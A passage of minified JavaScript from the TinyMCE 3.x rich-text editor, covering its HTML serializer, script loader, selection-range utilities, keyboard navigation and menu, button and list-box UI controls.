for(var node,i=nodes.length;i--;)node=nodes[i],7===node.type?node.remove():1===node.type&&("input"!==name||"type"in node.attributes.map||node.attr("type","text"))}),settings.fix_list_elements&&htmlParser.addNodeFilter("ul,ol",function(nodes,name){for(var node,parentNode,i=nodes.length;i--;)node=nodes[i],parentNode=node.parent,"ul"!==parentNode.name&&"ol"!==parentNode.name||node.prev&&"li"===node.prev.name&&node.prev.append(node)}),htmlParser.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style,data-mce-selected,data-mce-expando,data-mce-type,data-mce-resize,data-mce-new",function(nodes,name){for(var i=nodes.length;i--;)nodes[i].attr(name,null)}),{schema:schema,addNodeFilter:htmlParser.addNodeFilter,addAttributeFilter:htmlParser.addAttributeFilter,onPreProcess:onPreProcess,onPostProcess:onPostProcess,serialize:function(node,args){var impl,doc,oldDoc,htmlSerializer,content;return isIE&&dom.select("script,style,select,map").length>0?(content=node.innerHTML,node=node.cloneNode(!1),dom.setHTML(node,content)):node=node.cloneNode(!0),impl=node.ownerDocument.implementation,impl.createHTMLDocument&&(doc=impl.createHTMLDocument(""),each("BODY"==node.nodeName?node.childNodes:[node],function(node){doc.body.appendChild(doc.importNode(node,!0))}),node="BODY"!=node.nodeName?doc.body.firstChild:doc.body,oldDoc=dom.doc,dom.doc=doc),args=args||{},args.format=args.format||"html",args.selection&&(args.forced_root_block=""),args.no_events||(args.node=node,onPreProcess.dispatch(self,args)),rootNode=htmlParser.parse(tinymce.trim(args.getInner?node.innerHTML:dom.getOuterHTML(node)),args),trimTrailingBr(rootNode),htmlSerializer=new tinymce.html.Serializer(settings,schema),args.content=htmlSerializer.serialize(rootNode),args.cleanup||(args.content=args.content.replace(/\uFEFF/g,"")),args.no_events||onPostProcess.dispatch(self,args),oldDoc&&(dom.doc=oldDoc),args.node=null,args.content},addRules:function(rules){schema.addValidElements(rules)},setRules:function(rules){schema.setValidElements(rules)}}}}(tinymce),function(tinymce){tinymce.dom.ScriptLoader=function(settings){function loadScript(url,callback){function done(){dom.remove(id),elm&&(elm.onreadystatechange=elm.onload=elm=null),callback()}function error(){"undefined"!=typeof console&&console.log&&console.log("Failed to load: "+url)}var elm,uri,loc,id,dom=tinymce.DOM;return id=dom.uniqueId(),tinymce.isIE6&&(uri=new tinymce.util.URI(url),loc=location,uri.host==loc.hostname&&uri.port==loc.port&&uri.protocol+":"==loc.protocol&&"file"!=uri.protocol.toLowerCase())?void tinymce.util.XHR.send({url:tinymce._addVer(uri.getURI()),success:function(content){var script=dom.create("script",{type:"text/javascript"});script.text=content,document.getElementsByTagName("head")[0].appendChild(script),dom.remove(script),done()},error:error}):(elm=document.createElement("script"),elm.setAttribute("data-cfasync",!1),elm.id=id,elm.type="text/javascript",elm.src=tinymce._addVer(url),tinymce.isIE&&!tinymce.isIE11||(elm.onload=done),elm.onerror=error,tinymce.isOpera||(elm.onreadystatechange=function(){var state=elm.readyState;"complete"!=state&&"loaded"!=state||done()}),void(document.getElementsByTagName("head")[0]||document.body).appendChild(elm))}var undef,QUEUED=0,LOADING=1,LOADED=2,states={},queue=[],scriptLoadedCallbacks={},queueLoadedCallbacks=[],loading=0;this.isDone=function(url){return states[url]==LOADED},this.markDone=function(url){states[url]=LOADED},this.add=this.load=function(url,callback,scope){var state=states[url];state==undef&&(queue.push(url),states[url]=QUEUED),callback&&(scriptLoadedCallbacks[url]||(scriptLoadedCallbacks[url]=[]),scriptLoadedCallbacks[url].push({func:callback,scope:scope||this}))},this.loadQueue=function(callback,scope){this.loadScripts(queue,callback,scope)},this.loadScripts=function(scripts,callback,scope){function execScriptLoadedCallbacks(url){tinymce.each(scriptLoadedCallbacks[url],function(callback){callback.func.call(callback.scope)}),scriptLoadedCallbacks[url]=undef}var loadScripts;queueLoadedCallbacks.push({func:callback,scope:scope||this}),(loadScripts=function(){var loadingScripts=tinymce.grep(scripts);scripts.length=0,tinymce.each(loadingScripts,function(url){return states[url]==LOADED?void execScriptLoadedCallbacks(url):void(states[url]!=LOADING&&(states[url]=LOADING,loading++,loadScript(url,function(){states[url]=LOADED,loading--,execScriptLoadedCallbacks(url),loadScripts()})))}),loading||(tinymce.each(queueLoadedCallbacks,function(callback){callback.func.call(callback.scope)}),queueLoadedCallbacks.length=0)})()}},tinymce.ScriptLoader=new tinymce.dom.ScriptLoader}(tinymce),function(tinymce){function getEndChild(container,index){var childNodes=container.childNodes;return index--,index>childNodes.length-1?index=childNodes.length-1:index<0&&(index=0),childNodes[index]||container}var each=tinymce.each,TreeWalker=tinymce.dom.TreeWalker;tinymce.dom.RangeUtils=function(dom){this.walk=function(rng,callback){function exclude(nodes){var node;return node=nodes[0],3===node.nodeType&&node===startContainer&&startOffset>=node.nodeValue.length&&nodes.splice(0,1),node=nodes[nodes.length-1],0===endOffset&&nodes.length>0&&node===endContainer&&3===node.nodeType&&nodes.splice(nodes.length-1,1),nodes}function collectSiblings(node,name,end_node){for(var siblings=[];node&&node!=end_node;node=node[name])siblings.push(node);return siblings}function findEndPoint(node,root){do{if(node.parentNode==root)return node;node=node.parentNode}while(node)}function walkBoundary(start_node,end_node,next){var siblingName=next?"nextSibling":"previousSibling";for(node=start_node,parent=node.parentNode;node&&node!=end_node;node=parent)parent=node.parentNode,siblings=collectSiblings(node==start_node?node:node[siblingName],siblingName),siblings.length&&(next||siblings.reverse(),callback(exclude(siblings)))}var ancestor,startPoint,endPoint,node,parent,siblings,nodes,startContainer=rng.startContainer,startOffset=rng.startOffset,endContainer=rng.endContainer,endOffset=rng.endOffset;if(nodes=dom.select("td.mceSelected,th.mceSelected"),nodes.length>0)return void each(nodes,function(node){callback([node])});if(1==startContainer.nodeType&&startContainer.hasChildNodes()&&(startContainer=startContainer.childNodes[startOffset]),1==endContainer.nodeType&&endContainer.hasChildNodes()&&(endContainer=getEndChild(endContainer,endOffset)),startContainer==endContainer)return callback(exclude([startContainer]));for(ancestor=dom.findCommonAncestor(startContainer,endContainer),node=startContainer;node;node=node.parentNode){if(node===endContainer)return walkBoundary(startContainer,ancestor,!0);if(node===ancestor)break}for(node=endContainer;node;node=node.parentNode){if(node===startContainer)return walkBoundary(endContainer,ancestor);if(node===ancestor)break}startPoint=findEndPoint(startContainer,ancestor)||startContainer,endPoint=findEndPoint(endContainer,ancestor)||endContainer,walkBoundary(startContainer,startPoint,!0),siblings=collectSiblings(startPoint==startContainer?startPoint:startPoint.nextSibling,"nextSibling",endPoint==endContainer?endPoint.nextSibling:endPoint),siblings.length&&callback(exclude(siblings)),walkBoundary(endContainer,endPoint)},this.split=function(rng){function splitText(node,offset){return node.splitText(offset)}var startContainer=rng.startContainer,startOffset=rng.startOffset,endContainer=rng.endContainer,endOffset=rng.endOffset;return startContainer==endContainer&&3==startContainer.nodeType?startOffset>0&&startOffset<startContainer.nodeValue.length&&(endContainer=splitText(startContainer,startOffset),startContainer=endContainer.previousSibling,endOffset>startOffset?(endOffset-=startOffset,startContainer=endContainer=splitText(endContainer,endOffset).previousSibling,endOffset=endContainer.nodeValue.length,startOffset=0):endOffset=0):(3==startContainer.nodeType&&startOffset>0&&startOffset<startContainer.nodeValue.length&&(startContainer=splitText(startContainer,startOffset),startOffset=0),3==endContainer.nodeType&&endOffset>0&&endOffset<endContainer.nodeValue.length&&(endContainer=splitText(endContainer,endOffset).previousSibling,endOffset=endContainer.nodeValue.length)),{startContainer:startContainer,startOffset:startOffset,endContainer:endContainer,endOffset:endOffset}},this.normalize=function(rng){function normalizeEndPoint(start){function hasBrBeforeAfter(node,left){for(var walker=new TreeWalker(node,dom.getParent(node.parentNode,dom.isBlock)||body);node=walker[left?"prev":"next"]();)if("BR"===node.nodeName)return!0}function isPrevNode(node,name){return node.previousSibling&&node.previousSibling.nodeName==name}function findTextNodeRelative(left,startNode){var walker,lastInlineElement,parentBlockContainer;if(startNode=startNode||container,parentBlockContainer=dom.getParent(startNode.parentNode,dom.isBlock)||body,left&&"BR"==startNode.nodeName&&isAfterNode&&dom.isEmpty(parentBlockContainer))return container=startNode.parentNode,offset=dom.nodeIndex(startNode),void(normalized=!0);for(walker=new TreeWalker(startNode,parentBlockContainer);node=walker[left?"prev":"next"]();){if("false"===dom.getContentEditableParent(node))return;if(3===node.nodeType&&node.nodeValue.length>0)return container=node,offset=left?node.nodeValue.length:0,void(normalized=!0);if(dom.isBlock(node)||nonEmptyElementsMap[node.nodeName.toLowerCase()])return;lastInlineElement=node}collapsed&&lastInlineElement&&(container=lastInlineElement,normalized=!0,offset=0)}var container,offset,walker,node,nonEmptyElementsMap,directionLeft,isAfterNode,body=dom.getRoot();if(container=rng[(start?"start":"end")+"Container"],offset=rng[(start?"start":"end")+"Offset"],isAfterNode=1==container.nodeType&&offset===container.childNodes.length,nonEmptyElementsMap=dom.schema.getNonEmptyElements(),directionLeft=start,1==container.nodeType&&offset>container.childNodes.length-1&&(directionLeft=!1),9===container.nodeType&&(container=dom.getRoot(),offset=0),container===body){if(directionLeft&&(node=container.childNodes[offset>0?offset-1:0],node&&(nonEmptyElementsMap[node.nodeName]||"TABLE"==node.nodeName)))return;if(container.hasChildNodes()&&(offset=Math.min(!directionLeft&&offset>0?offset-1:offset,container.childNodes.length-1),container=container.childNodes[offset],offset=0,container.hasChildNodes()&&!/TABLE/.test(container.nodeName))){node=container,walker=new TreeWalker(container,body);do{if(3===node.nodeType&&node.nodeValue.length>0){offset=directionLeft?0:node.nodeValue.length,container=node,normalized=!0;break}if(nonEmptyElementsMap[node.nodeName.toLowerCase()]){offset=dom.nodeIndex(node),container=node.parentNode,"IMG"!=node.nodeName||directionLeft||offset++,normalized=!0;break}}while(node=directionLeft?walker.next():walker.prev())}}collapsed&&(3===container.nodeType&&0===offset&&findTextNodeRelative(!0),1===container.nodeType&&(node=container.childNodes[offset],node||(node=container.childNodes[offset-1]),!node||"BR"!==node.nodeName||isPrevNode(node,"A")||hasBrBeforeAfter(node)||hasBrBeforeAfter(node,!0)||findTextNodeRelative(!0,node))),directionLeft&&!collapsed&&3===container.nodeType&&offset===container.nodeValue.length&&findTextNodeRelative(!1),normalized&&rng["set"+(start?"Start":"End")](container,offset)}var normalized,collapsed;return collapsed=rng.collapsed,normalizeEndPoint(!0),collapsed||normalizeEndPoint(),normalized&&collapsed&&rng.collapse(!0),normalized}},tinymce.dom.RangeUtils.compareRanges=function(rng1,rng2){if(rng1&&rng2){if(!rng1.item&&!rng1.duplicate)return rng1.startContainer==rng2.startContainer&&rng1.startOffset==rng2.startOffset;if(rng1.item&&rng2.item&&rng1.item(0)===rng2.item(0))return!0;if(rng1.isEqual&&rng2.isEqual&&rng2.isEqual(rng1))return!0}return!1},tinymce.dom.RangeUtils.getCaretRangeFromPoint=function(x,y,doc){var rng,point;if(doc.caretPositionFromPoint)point=doc.caretPositionFromPoint(x,y),rng=doc.createRange(),rng.setStart(point.offsetNode,point.offset),rng.collapse(!0);else if(doc.caretRangeFromPoint)rng=doc.caretRangeFromPoint(x,y);else if(doc.body.createTextRange){rng=doc.body.createTextRange();try{rng.moveToPoint(x,y),rng.collapse(!0)}catch(ex){rng.collapse(y<doc.body.clientHeight)}}return rng},tinymce.dom.RangeUtils.getNode=function(container,offset){return 1==container.nodeType&&container.hasChildNodes()&&(offset>=container.childNodes.length&&(offset=container.childNodes.length-1),container=container.childNodes[offset]),container}}(tinymce),function(tinymce){var Event=tinymce.dom.Event,each=tinymce.each;tinymce.create("tinymce.ui.KeyboardNavigation",{KeyboardNavigation:function(settings,dom){var itemFocussed,itemBlurred,rootKeydown,rootFocussed,focussedId,t=this,root=settings.root,items=settings.items,enableUpDown=settings.enableUpDown,enableLeftRight=settings.enableLeftRight||!settings.enableUpDown,excludeFromTabOrder=settings.excludeFromTabOrder;dom=dom||tinymce.DOM,itemFocussed=function(evt){focussedId=evt.target.id},itemBlurred=function(evt){dom.setAttrib(evt.target.id,"tabindex","-1")},rootFocussed=function(evt){var item=dom.get(focussedId);dom.setAttrib(item,"tabindex","0"),item.focus()},t.focus=function(){dom.get(focussedId).focus()},t.destroy=function(){each(items,function(item){var elm=dom.get(item.id);dom.unbind(elm,"focus",itemFocussed),dom.unbind(elm,"blur",itemBlurred)});var rootElm=dom.get(root);dom.unbind(rootElm,"focus",rootFocussed),dom.unbind(rootElm,"keydown",rootKeydown),items=dom=root=t.focus=itemFocussed=itemBlurred=rootKeydown=rootFocussed=null,t.destroy=function(){}},t.moveFocus=function(dir,evt){var newFocus,idx=-1;t.controls;focussedId&&(each(items,function(item,index){if(item.id===focussedId)return idx=index,!1}),idx+=dir,idx<0?idx=items.length-1:idx>=items.length&&(idx=0),newFocus=items[idx],dom.setAttrib(focussedId,"tabindex","-1"),dom.setAttrib(newFocus.id,"tabindex","0"),dom.get(newFocus.id).focus(),settings.actOnFocus&&settings.onAction(newFocus.id),evt&&Event.cancel(evt))},rootKeydown=function(evt){var DOM_VK_LEFT=37,DOM_VK_RIGHT=39,DOM_VK_UP=38,DOM_VK_DOWN=40,DOM_VK_ESCAPE=27,DOM_VK_ENTER=14,DOM_VK_RETURN=13,DOM_VK_SPACE=32;switch(evt.keyCode){case DOM_VK_LEFT:enableLeftRight&&t.moveFocus(-1),Event.cancel(evt);break;case DOM_VK_RIGHT:enableLeftRight&&t.moveFocus(1),Event.cancel(evt);break;case DOM_VK_UP:enableUpDown&&t.moveFocus(-1),Event.cancel(evt);break;case DOM_VK_DOWN:enableUpDown&&t.moveFocus(1),Event.cancel(evt);break;case DOM_VK_ESCAPE:settings.onCancel&&(settings.onCancel(),Event.cancel(evt));break;case DOM_VK_ENTER:case DOM_VK_RETURN:case DOM_VK_SPACE:settings.onAction&&(settings.onAction(focussedId),Event.cancel(evt))}},each(items,function(item,idx){var tabindex,elm;item.id||(item.id=dom.uniqueId("_mce_item_")),elm=dom.get(item.id),excludeFromTabOrder?(dom.bind(elm,"blur",itemBlurred),tabindex="-1"):tabindex=0===idx?"0":"-1",elm.setAttribute("tabindex",tabindex),dom.bind(elm,"focus",itemFocussed)}),items[0]&&(focussedId=items[0].id),dom.setAttrib(root,"tabindex","-1");var rootElm=dom.get(root);dom.bind(rootElm,"focus",rootFocussed),dom.bind(rootElm,"keydown",rootKeydown)}})}(tinymce),function(tinymce){var DOM=tinymce.DOM,is=tinymce.is;tinymce.create("tinymce.ui.Control",{Control:function(id,s,editor){this.id=id,this.settings=s=s||{},this.rendered=!1,this.onRender=new tinymce.util.Dispatcher(this),this.classPrefix="",this.scope=s.scope||this,this.disabled=0,this.active=0,this.editor=editor},setAriaProperty:function(property,value){var element=DOM.get(this.id+"_aria")||DOM.get(this.id);element&&DOM.setAttrib(element,"aria-"+property,!!value)},focus:function(){DOM.get(this.id).focus()},setDisabled:function(s){s!=this.disabled&&(this.setAriaProperty("disabled",s),this.setState("Disabled",s),this.setState("Enabled",!s),this.disabled=s)},isDisabled:function(){return this.disabled},setActive:function(s){s!=this.active&&(this.setState("Active",s),this.active=s,this.setAriaProperty("pressed",s))},isActive:function(){return this.active},setState:function(c,s){var n=DOM.get(this.id);c=this.classPrefix+c,s?DOM.addClass(n,c):DOM.removeClass(n,c)},isRendered:function(){return this.rendered},renderHTML:function(){},renderTo:function(n){DOM.setHTML(n,this.renderHTML())},postRender:function(){var b,t=this;is(t.disabled)&&(b=t.disabled,t.disabled=-1,t.setDisabled(b)),is(t.active)&&(b=t.active,t.active=-1,t.setActive(b))},remove:function(){DOM.remove(this.id),this.destroy()},destroy:function(){tinymce.dom.Event.clear(this.id)}})}(tinymce),tinymce.create("tinymce.ui.Container:tinymce.ui.Control",{Container:function(id,s,editor){this.parent(id,s,editor),this.controls=[],this.lookup={}},add:function(c){return this.lookup[c.id]=c,this.controls.push(c),c},get:function(n){return this.lookup[n]}}),tinymce.create("tinymce.ui.Separator:tinymce.ui.Control",{Separator:function(id,s){this.parent(id,s),this.classPrefix="mceSeparator",this.setDisabled(!0)},renderHTML:function(){return tinymce.DOM.createHTML("span",{class:this.classPrefix,role:"separator","aria-orientation":"vertical",tabindex:"-1"},"")}}),function(tinymce){var is=tinymce.is;tinymce.DOM,tinymce.each,tinymce.walk;tinymce.create("tinymce.ui.MenuItem:tinymce.ui.Control",{MenuItem:function(id,s){this.parent(id,s),this.classPrefix="mceMenuItem"},setSelected:function(s){this.setState("Selected",s),this.setAriaProperty("checked",!!s),this.selected=s},isSelected:function(){return this.selected},postRender:function(){var t=this;t.parent(),is(t.selected)&&t.setSelected(t.selected)}})}(tinymce),function(tinymce){var DOM=(tinymce.is,tinymce.DOM),walk=(tinymce.each,tinymce.walk);tinymce.create("tinymce.ui.Menu:tinymce.ui.MenuItem",{Menu:function(id,s){var t=this;t.parent(id,s),t.items={},t.collapsed=!1,t.menuCount=0,t.onAddItem=new tinymce.util.Dispatcher(this)},expand:function(d){var t=this;d&&walk(t,function(o){o.expand&&o.expand()},"items",t),t.collapsed=!1},collapse:function(d){var t=this;d&&walk(t,function(o){o.collapse&&o.collapse()},"items",t),t.collapsed=!0},isCollapsed:function(){return this.collapsed},add:function(o){return o.settings||(o=new tinymce.ui.MenuItem(o.id||DOM.uniqueId(),o)),this.onAddItem.dispatch(this,o),this.items[o.id]=o},addSeparator:function(){return this.add({separator:!0})},addMenu:function(o){return o.collapse||(o=this.createMenu(o)),this.menuCount++,this.add(o)},hasMenus:function(){return 0!==this.menuCount},remove:function(o){delete this.items[o.id]},removeAll:function(){var t=this;walk(t,function(o){o.removeAll?o.removeAll():o.remove(),o.destroy()},"items",t),t.items={}},createMenu:function(o){var m=new tinymce.ui.Menu(o.id||DOM.uniqueId(),o);return m.onAddItem.add(this.onAddItem.dispatch,this.onAddItem),m}})}(tinymce),function(tinymce){function escapeRegExChars(str){return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}var undef,is=tinymce.is,DOM=tinymce.DOM,each=tinymce.each,Event=tinymce.dom.Event,Element=tinymce.dom.Element;tinymce.create("tinymce.ui.DropMenu:tinymce.ui.Menu",{DropMenu:function(id,s){s=s||{},s.container=s.container||DOM.doc.body,s.offset_x=s.offset_x||0,s.offset_y=s.offset_y||0,s.vp_offset_x=s.vp_offset_x||0,s.vp_offset_y=s.vp_offset_y||0,is(s.icons)&&!s.icons&&(s.class+=" mceNoIcons"),this.parent(id,s),this.onShowMenu=new tinymce.util.Dispatcher(this),this.onHideMenu=new tinymce.util.Dispatcher(this),this.classPrefix="mceMenu"},createMenu:function(s){var m,t=this,cs=t.settings;return s.container=s.container||cs.container,s.parent=t,s.constrain=s.constrain||cs.constrain,s.class=s.class||cs.class,s.vp_offset_x=s.vp_offset_x||cs.vp_offset_x,s.vp_offset_y=s.vp_offset_y||cs.vp_offset_y,s.keyboard_focus=cs.keyboard_focus,m=new tinymce.ui.DropMenu(s.id||DOM.uniqueId(),s),m.onAddItem.add(t.onAddItem.dispatch,t.onAddItem),m},focus:function(){var t=this;t.keyboardNav&&t.keyboardNav.focus()},update:function(){var tw,th,t=this,s=t.settings,tb=DOM.get("menu_"+t.id+"_tbl"),co=DOM.get("menu_"+t.id+"_co");tw=s.max_width?Math.min(co.offsetWidth,s.max_width):co.offsetWidth,th=s.max_height?Math.min(co.offsetHeight,s.max_height):co.offsetHeight,DOM.boxModel?t.element.setStyles({width:tw,height:th}):t.element.setStyles({width:tw+2,height:th+2}),s.max_width&&DOM.setStyle(co,"width",tw),s.max_height&&(DOM.setStyle(co,"height",th),tb.clientHeight<s.max_height&&DOM.setStyle(co,"overflow","hidden"))},scrollTo:function(el){var p=el.parentNode;p.scrollTop=el.offsetTop},showMenu:function(x,y,px){var co,w,h,mx,my,dm,t=this,s=t.settings,vp=DOM.getViewPort(),ot=2,cp=t.classPrefix;t.collapse(1),t.isMenuVisible||(t.rendered?co=DOM.get("menu_"+t.id):(co=DOM.add(t.settings.container,t.renderNode()),each(t.items,function(o){o.postRender()}),t.element=new Element("menu_"+t.id,{blocker:1,container:s.container})),tinymce.isOpera||DOM.setStyles(co,{left:-65535,top:-65535}),DOM.show(co),t.update(),x+=s.offset_x||0,y+=s.offset_y||0,vp.w-=4,vp.h-=4,s.constrain&&(w=co.clientWidth-ot,h=co.clientHeight-ot,mx=vp.x+vp.w,my=vp.y+vp.h,x+s.vp_offset_x+w>mx&&(x=px?px-w:Math.max(0,mx-s.vp_offset_x-w)),y+s.vp_offset_y+h>my&&(y=Math.max(0,my-s.vp_offset_y-h))),DOM.setStyles(co,{left:x,top:y}),t.element.update(),t.isMenuVisible=1,t.mouseClickFunc=Event.add(co,"click",function(e){var m,n;if(n=e.target,"INPUT"!==n.nodeName&&n&&(n=DOM.getParent(n,"div.mceMenuItem"))&&!DOM.hasClass(n,cp+"ItemSub")){if(m=t.items[n.id],t.selected=n,m.isDisabled())return;for(dm=t;dm;)dm.hideMenu&&dm.hideMenu(),dm=dm.settings.parent;return m.settings.onclick&&m.settings.onclick(e),!1}}),t.mouseOverFunc=Event.add(co,"mouseover",function(e){var m,r,n;if(n=e.target,n&&(n=DOM.getParent(n,"div.mceMenuItem"))){if(m=t.items[n.id],t.hasMenus()){if(t.lastMenu&&t.lastMenu.collapse(1),m.isDisabled())return;n&&DOM.hasClass(n,cp+"ItemSub")&&(r=DOM.getRect(n),m.showMenu(r.x+r.w-ot,r.y-ot,r.x),t.lastMenu=m,DOM.addClass(DOM.get(m.id).firstChild,cp+"ItemActive"))}m.settings.onmouseover&&m.settings.onmouseover(e)}}),Event.add(co,"keydown",t._keyHandler,t),t.onShowMenu.dispatch(t),each(t.items,function(o){if(o.selected){var el=DOM.get(o.id);return el&&(t.selected=el),!1}}),t.selected?t.scrollTo(t.selected):DOM.get("menu_"+t.id+"_tbl").scrollTop=0,s.keyboard_focus&&t._setupKeyboardNav())},hideMenu:function(c){var e,t=this,co=DOM.get("menu_"+t.id);t.isMenuVisible&&(t.keyboardNav&&t.keyboardNav.destroy(),Event.remove(co,"mouseover",t.mouseOverFunc),Event.remove(co,"click",t.mouseClickFunc),Event.remove(co,"keydown",t._keyHandler),DOM.hide(co),t.isMenuVisible=0,c||t.collapse(1),t.element&&t.element.hide(),(e=DOM.get(t.id))&&DOM.removeClass(e.firstChild,t.classPrefix+"ItemActive"),t.onHideMenu.dispatch(t))},add:function(o){var co,t=this;return o=t.parent(o),t.isRendered&&(co=DOM.get("menu_"+t.id))&&t._add(co,o),o},collapse:function(d){this.parent(d),this.hideMenu(1)},remove:function(o){return DOM.remove(o.id),this.destroy(),this.parent(o)},destroy:function(){var t=this,co=DOM.get("menu_"+t.id);t.keyboardNav&&t.keyboardNav.destroy(),Event.remove(co,"mouseover",t.mouseOverFunc),Event.remove(DOM.select("a",co),"focus",t.mouseOverFunc),Event.remove(co,"click",t.mouseClickFunc),Event.remove(co,"keydown",t._keyHandler),t.element&&t.element.remove(),DOM.remove(co)},renderNode:function(){var n,co,w,t=this,s=t.settings;if(s.class.indexOf("defaultSkin")===-1&&(s.class="defaultSkin "+s.class),w=DOM.create("div",{role:"listbox",id:"menu_"+t.id,class:s.class,style:"position:absolute;left:0;top:0;z-index:200000;outline:0"}),t.settings.parent&&DOM.setAttrib(w,"aria-parent","menu_"+t.settings.parent.id),co=DOM.add(w,"div",{role:"presentation",id:"menu_"+t.id+"_co",class:t.classPrefix+(s.class?" "+s.class:"")}),t.element=new Element("menu_"+t.id,{blocker:1,container:s.container}),s.menu_line&&DOM.add(co,"div",{class:t.classPrefix+"Line"}),s.filter){var filter=DOM.add(co,"div",{class:t.classPrefix+"Filter"},'<input type="text" />');t.onHideMenu.add(function(){filter.firstChild.value="",each(t.items,function(o,id){DOM.removeClass(id,"mceMenuItemHidden")})})}return n=DOM.add(co,"div",{role:"presentation",id:"menu_"+t.id+"_tbl",class:t.classPrefix+"Items"}),each(t.items,function(o){t._add(n,o)}),t.rendered=!0,w},_setupKeyboardNav:function(){var contextMenu,menuItems,t=this;contextMenu=DOM.get("menu_"+t.id),menuItems=DOM.select("a[role=option]","menu_"+t.id),menuItems.splice(0,0,contextMenu),t.keyboardNav=new tinymce.ui.KeyboardNavigation({root:"menu_"+t.id,items:menuItems,onCancel:function(){t.hideMenu()},enableUpDown:!0}),contextMenu.focus()},_filter:function(evt){var t=this,n=evt.target,matcher=new RegExp("^"+escapeRegExChars(n.value),"i");each(t.items,function(o,id){var state,s=o.settings;state=!n.value||s.value===undef||matcher.test(s.title),state?DOM.removeClass(id,"mceMenuItemHidden"):DOM.addClass(id,"mceMenuItemHidden")})},_keyHandler:function(evt){var t=this,specialKeyCodeMap={9:"tab",17:"ctrl",18:"alt",27:"esc",32:"space",37:"left",39:"right",13:"enter",91:"cmd"};switch(evt.target&&"INPUT"===evt.target.nodeName&&setTimeout(function(){specialKeyCodeMap[evt.keyCode]||t._filter(evt),13===evt.keyCode&&evt.target.value&&t.settings.onselect&&t.settings.onselect(evt.target.value)},0),evt.keyCode){case 37:t.settings.parent&&(t.hideMenu(),t.settings.parent.focus(),Event.cancel(evt));break;case 39:t.mouseOverFunc&&t.mouseOverFunc(evt)}},_add:function(tb,o){var n,a,ro,it,ic,s=o.settings,cp=this.classPrefix;return s.separator?(ro=DOM.add(tb,"div",{class:cp+"ItemSeparator"}),void((n=ro.previousSibling)&&DOM.addClass(n,"mceLast"))):(n=it=DOM.add(tb,"div",{id:o.id,class:cp+"Item "+cp+"ItemEnabled"}),s.html?n=DOM.add(n,"div",{class:"mceMenuHtml"},s.html):(n=a=DOM.add(n,"a",{id:o.id+"_aria",role:s.titleItem?"presentation":"option",href:"javascript:;",onclick:"return false;",onmousedown:"return false;"}),ic=DOM.add(n,"span",{class:"mceIcon"+(s.icon?" mce_"+s.icon:"")}),s.icon_src&&DOM.add(ic,"img",{src:s.icon_src}),n=DOM.add(n,s.element||"span",{class:"mceText",title:o.settings.title},o.settings.title),s.parent&&(DOM.setAttrib(a,"aria-haspopup","true"),DOM.setAttrib(a,"aria-owns","menu_"+o.id))),DOM.addClass(it,s.class),o.settings.style&&("function"==typeof o.settings.style&&(o.settings.style=o.settings.style()),DOM.setAttrib(n,"style",o.settings.style)),o.onmouseover&&Event.add(n,"mouseover",o.onmouseover),1==tb.childNodes.length&&DOM.addClass(it,"mceFirst"),(n=it.previousSibling)&&DOM.hasClass(n,cp+"ItemSeparator")&&DOM.addClass(ro,"mceFirst"),o.collapse&&DOM.addClass(it,cp+"ItemSub"),(n=it.previousSibling)&&DOM.removeClass(n,"mceLast"),void DOM.addClass(it,"mceLast"))}})}(tinymce),function(tinymce){var DOM=tinymce.DOM;tinymce.create("tinymce.ui.Button:tinymce.ui.Control",{Button:function(id,s,ed){this.parent(id,s,ed),this.classPrefix="mceButton"},renderHTML:function(){var h,l,cp=this.classPrefix,s=this.settings;return l=DOM.encode(s.label||""),h='<button type="button" role="presentation" id="'+this.id+'" class="'+cp+" "+cp+"Enabled "+s.class+(l?" "+cp+"Labeled":"")+'" onmousedown="return false;" onclick="return false;" title="'+DOM.encode(s.title)+'">',h+=!s.image||this.editor&&this.editor.forcedHighContrastMode?'<span class="mceIcon '+s.class+'"></span>'+(l?'<span class="'+cp+'Label">'+l+"</span>":""):'<span class="mceIcon '+s.class+'"><img class="mceIcon" src="'+s.image+'" alt="'+DOM.encode(s.title)+'" /></span>'+(l?'<span class="'+cp+'Label">'+l+"</span>":""),h+="</button>"},postRender:function(){var imgBookmark,t=this,s=t.settings;tinymce.isIE&&t.editor&&tinymce.dom.Event.add(t.id,"mousedown",function(e){var nodeName=t.editor.selection.getNode().nodeName;imgBookmark="IMG"===nodeName?t.editor.selection.getBookmark():null}),tinymce.dom.Event.add(t.id,"click",function(e){if(!t.isDisabled())return tinymce.isIE&&t.editor&&null!==imgBookmark&&t.editor.selection.moveToBookmark(imgBookmark),s.onclick.call(s.scope,e)}),tinymce.dom.Event.add(t.id,"keydown",function(e){if(!t.isDisabled()&&e.keyCode==tinymce.VK.SPACEBAR)return tinymce.dom.Event.cancel(e),s.onclick.call(s.scope,e)})}})}(tinymce),function(tinymce){var undef,DOM=tinymce.DOM,Event=tinymce.dom.Event,each=tinymce.each,Dispatcher=tinymce.util.Dispatcher;tinymce.create("tinymce.ui.ListBox:tinymce.ui.Control",{ListBox:function(id,s,ed){var t=this;t.parent(id,s,ed),t.items=[],t.onChange=new Dispatcher(t),t.onPostRender=new Dispatcher(t),t.onAdd=new Dispatcher(t),t.onRenderMenu=new tinymce.util.Dispatcher(this),t.classPrefix="mceListBox",t.marked={}},select:function(va){var fv,f,t=this;return t.marked={},va==undef?t.selectByIndex(-1):(f=va&&"function"==typeof va?va:function(v){return v==va},void(va!=t.selectedValue&&(each(t.items,function(o,i){if(f(o.value))return fv=1,t.selectByIndex(i),!1}),fv||t.selectByIndex(-1))))},selectByIndex:function(idx){var e,o,label,t=this;t.marked={},idx!=t.selectedIndex&&(e=DOM.get(t.id+"_text"),label=DOM.get(t.id+"_voiceDesc"),o=t.items[idx],o?(t.selectedValue=o.value,t.selectedIndex=idx,DOM.setHTML(e,DOM.encode(o.title)),DOM.setHTML(label,t.settings.title+" - "+o.title),DOM.removeClass(e,"mceTitle"),DOM.setAttrib(t.id,"aria-valuenow",o.title)):(DOM.setHTML(e,DOM.encode(t.settings.title)),DOM.setHTML(label,DOM.encode(t.settings.title)),DOM.addClass(e,"mceTitle"),t.selectedValue=t.selectedIndex=null,DOM.setAttrib(t.id,"aria-valuenow",t.settings.title)),e=0)},mark:function(value){this.marked[value]=!0},add:function(n,v,o){var t=this;o=o||{},o=tinymce.extend(o,{title:n,value:v}),t.items.push(o),t.onAdd.dispatch(t,o)},getLength:function(){return this.items.length},renderHTML:function(){var h="",t=this,s=t.settings,cp=t.classPrefix;return h='<div role="listbox" aria-haspopup="true" aria-labelledby="'+t.id+'_voiceDesc" 